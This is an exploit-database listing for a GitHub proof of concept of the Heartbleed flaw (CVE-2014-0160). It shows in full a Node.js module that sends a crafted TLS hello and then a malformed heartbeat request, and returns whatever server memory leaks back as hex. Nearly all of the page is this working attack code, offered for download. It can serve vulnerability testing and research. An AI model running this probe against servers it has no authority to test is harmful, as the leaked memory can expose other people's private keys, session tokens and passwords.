Exploit database

GH-5c77fadef2a5a104877b7e53f4c0cce4

yryz/heartbleed.js

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2014-0160

106 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
yryz/heartbleed.jsRevision 83ea751eeecf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lib/heartbleed.js

JavaScript · 3,406 bytes
var net = require('net')
  , utils = require('./utils');

const SSL_HELLO = [0x16, 0x03, 0x02, 0x00, 0xdc, 0x01, 0x00, 0x00, 0xd8, 0x03, 0x02, 0x53,
  0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, 0xcf,
  0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, 0x00,
  0x00, 0x66, 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, 0x00, 0x39, 0x00, 0x38, 0x00, 0x88,
  0x00, 0x87, 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c,
  0xc0, 0x1b, 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09,
  0xc0, 0x1f, 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, 0x00, 0x99, 0x00, 0x45, 0x00, 0x44,
  0xc0, 0x0e, 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c,
  0xc0, 0x02, 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, 0x00, 0x09, 0x00, 0x14, 0x00, 0x11,
  0x00, 0x08, 0x00, 0x06, 0x00, 0x03, 0x00, 0xff, 0x01, 0x00, 0x00, 0x49, 0x00, 0x0b, 0x00, 0x04,
  0x03, 0x00, 0x01, 0x02, 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, 0x00, 0x0d, 0x00, 0x19,
  0x00, 0x0b, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x17, 0x00, 0x08,
  0x00, 0x06, 0x00, 0x07, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, 0x00, 0x12, 0x00, 0x13,
  0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, 0x00, 0x23, 0x00, 0x00,
  0x00, 0x0f, 0x00, 0x01, 0x01];

const HEARTBEAT_TEST = [0x18, 0x03, 0x02, 0x00, 0x03, 0x01, 0x0F, 0xF0];

/**
 * 检测
 * @param {String} domain
 * @param {Number} [port]
 * @param {Function} callback vulnerable:{code:0, data:hex}/ not vulnerable:{code:1}
 */
exports.doCheck = function(domain, port, callback) {
  if (typeof port === 'function') {
    callback = port;
    port = null;
  }

  var client = new net.Socket();
  client.connect(port || 443, domain, function() {
    client.write(new Buffer(SSL_HELLO));
  });

  client.setTimeout(2000, function() {
    //console.log('Timeout.');
    client.destroy();
  });

  var sslBuffer = new utils.SSLMsgBuffer();
  var serverHelloDone = false;
  var result = {code: 1}; // 不受影响

  client.on('data', function(data) {
    //console.log(Buffer.isBuffer(data));
    sslBuffer.write(data, data.length);

    if (!serverHelloDone) {
      while (true) {
        var msg = sslBuffer.readMsg();
        if (!msg) break;
        //console.log(msg.toString('hex'));
        //console.log('type:', msg[0], 'ver:', msg[1], msg[2], 'len:', msg.readUInt16BE(3), 'buf:', sslBuffer.length);
        //Look for server hello(22) done message 0x0E.
        if (msg[0] === 22 && msg[5] === 0x0E) {
          //console.log('server hello done.');
          serverHelloDone = true;
          client.write(new Buffer(HEARTBEAT_TEST));
          break;
        }
      }
    } else {
      var msg = sslBuffer.readMsg();
      if (msg) {
        // console.log('msg[0]:',msg[0],'msg.length:',msg.length)
        if (msg[0] === 24 && msg.length > 3) {
          //console.log('Heartbleed!!!');
          //console.log(msg.toString('ascii'));
          result.code = 0;
          result.data = msg.toString('hex');
        }
        client.destroy();
      }
    }
  });

  client.on('error', function() {
    client.destroy();
  });

  client.on('close', function() {
    //console.log('Connection closed');
    callback(null, result);
  });
};